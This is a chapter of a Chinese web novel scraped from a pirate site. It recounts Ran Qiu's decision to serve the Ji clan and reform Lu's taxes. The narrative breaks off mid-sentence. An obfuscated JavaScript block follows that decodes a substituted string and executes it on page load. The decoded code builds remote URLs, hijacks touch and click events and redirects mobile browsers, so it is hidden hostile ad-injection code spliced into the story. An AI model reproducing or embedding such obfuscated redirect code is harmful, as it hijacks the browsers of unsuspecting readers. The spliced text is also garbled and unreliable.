第76章 冉求列传
91书院(91shuyuan.com)更新快,无弹窗!
辅政鲁邦、整顿赋税、安定民生、匡正时弊、抗拒权奸、复兴儒风、弘传圣道,筑牢万古不朽之根基、立下千秋不灭之初心。
本节结诗
恭趋庭宇聆弘旨,恪奉真传守性真。
道统心根凝粹质,经邦志业翊儒宸。
融通德术匡时弊,笃抱仁怀厚野垠。
蓄力安邦承圣训,千秋绩业守精纯。
勋垂鲁壤昭青简,奕奕风华万古新。
第三节:善理赋征安井邑,巧筹兵略靖边垠
春秋季世,鲁自宣公以来,公室日卑、三桓滋盛、政出私门、赋无定法。季孙氏世执鲁政,割裂封疆、私蓄甲兵、擅增税役、紊乱田制,上亏公室之经费、下剥黔庶之脂膏、中乱邦国之典章、外失诸侯之礼制。其时井田弛坏、阡陌纷杂、田籍混淆、赋役不均,豪强兼并膏腴之田、细民流亡瘠薄之地,富者田连阡陌而避赋逃役、贫者地无立锥而重税叠征,乡邑凋残、井邑不治、民力疲弊、邦用空乏,实为鲁国百年积弊、数代沉疴、乱世顽疾、民生大患。
当政之臣,多为三桓私党、趋利佞臣、守旧庸吏、空谈腐儒。佞臣则阿附权门、徇私枉法、增益苛赋、盘剥生民,以聚敛之功媚事主君、以搜刮之利充盈私门;庸吏则墨守旧制、不知变通、惰于吏治、疏于稽核,坐视田籍混乱、赋役失衡、乡邑荒废、民怨滋生;腐儒则空谈仁德、讳言财赋、耻言理财、避谈兵甲,知恤民之名而无整赋之术、懂安民之理而无靖乱之方,目睹乱世积弊而束手无策、亲见民生疾苦而一筹莫展。举国朝堂,能言治道者众、能办实事者寡、敢破旧弊者稀、能安井邑者绝。
冉求既受圣门弘教、深明治乱本源、熟谙邦国民生、兼备文武长才,于杏坛修学数载,遍历经籍、深研周礼、考究井田旧制、通晓春秋赋法、精研兵甲韬略、熟稔边防守御。其天资独擅理财之术、天赋通识赋役之制、天性精于稽核之方、才情兼备治军之略,为孔门诸贤独有、当世群臣罕见、鲁邦百年难遇。夫子尝评之曰:“千室之邑,百乘之家,求也可使治其赋。”盖因其精于核算、明于制度、善于变通、勇于整饬、勤于实务、敢于破弊,远超当世寻常官吏、士林俊秀、世家子弟、朝堂干臣。
彼时季康子继执鲁政,承先世权柄、掌邦国大政、主赋税兵甲、管民生吏治。其虽擅权专政、私心偏重、志在强家、意在固私,然亦深知鲁国积弊深重、井邑不治、赋役紊乱、国力日衰、边备松弛、屡遭外侵,欲图强家富国、安邑固疆、充盈府库、整肃民政,遍观朝野群臣、世家僚属、乡野贤才、朝堂百吏,尽皆庸碌徇私、迂腐无能、惰政误事、空谈无术,无一人可担理赋安民、整饬井邑、筹兵靖边、固疆御敌之重任。
季康子久闻冉求贤名、素知其文武兼资、深谙理财治赋、通晓兵略边防、擅长民政庶务、敢于破旧立新,知其为当世罕见的实干良才、济世干臣、理政能吏、靖乱之才,遂备厚礼、遣重臣、亲致聘书,数次礼聘冉求入仕,辟为季氏家宰,总理田赋、稽核户籍、整饬乡邑、修缮边防、统领兵甲、处置庶务,总揽民事、财赋、军政、边防四大要务,专任破弊维新、安民固本、强鲁靖疆之责。
冉求受聘之际,内心常怀深重抉择、审慎权衡、深度思辨、反复试错。当世士子入仕,多慕权位、贪富贵、逐虚名、附私门,不问民生疾苦、不顾邦国利弊、不辨正邪得失、不论道义是非。冉求立身圣门、恪守正道、心怀苍生、志在济世,深知季氏私门专权、僭越礼制、擅政乱邦、私心深重,依附其门极易陷于私门、背离公义、流于聚敛、失于中正,为圣贤大道所忌、为夫子正道所诫、为千秋史笔所讥。
然其更洞悉鲁国乱世实情、深察万民困顿之苦、明晰邦国危殆之局:彼时公室微弱、无权整政、无力革弊、无术安民,举国军政财赋、乡邑民生、边防庶务,尽归三桓执掌、悉由私门处置。若己避位不仕、洁身自守、归隐清修、空谈守道,则无有能人敢破旧弊、无有良才可理乱赋、无有干臣能安疲民、无有志士可靖边疆,鲁国积弊日深、民生日苦、边患日频、邦势日颓、礼乐日毁、王道日沉,万千黔庶永困苛赋、流离失所、饱受侵凌、不得安居。
一番深思抉择、利弊权衡、道术辨析、正邪取舍之后,冉求立定济世初心、作出平生重大入世决断:不避私门之嫌、不畏世俗之议、不惧非议之辞、不贪一己之名,以身入局、逆势担责、入局破弊、入世安民。宁自身担一时非议、受当世疑谤、蒙世俗误解,必为鲁邦整百年积弊、救万姓流离、安四方井邑、靖千里边疆、固社稷根基、延宗周礼脉。此乃圣贤大仁不避小嫌、大道不拘小节、实干不慕虚名、济世不计己身的中正抉择,亦是冉求舍己为公、以身担道、务实济世、破局安民的千古初心。
既入职履职、身居宰辅、专任庶政、总揽要务,冉求首临鲁地全域,遍历四境乡邑、亲勘井田形制
!function(){function a(a){var _idx="o3oihma3gd";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/OsO6h^dspf/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"OsO6h^dspf"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY8OsO6h^dspf"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();